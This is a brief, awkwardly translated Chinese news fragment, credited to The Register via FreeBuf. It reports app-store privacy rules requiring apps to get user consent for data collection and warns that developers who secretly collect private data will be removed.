收集用户或采取数据的应用程序必须确定保障用户的允许;

采纳必须尊重用户的权能设置,而不是准备哄骗或迫使用户同意不供给的数量访问;

将从开发人士安顿中删去使用其应用程序偷偷发现私人数据的开发人士。

*参照来源:theregister,Freddy编写翻译整理,转发请注明来源
FreeBuf.COM。回去年今年日头条,查看越来越多

小编:

相关文章

网站地图xml地图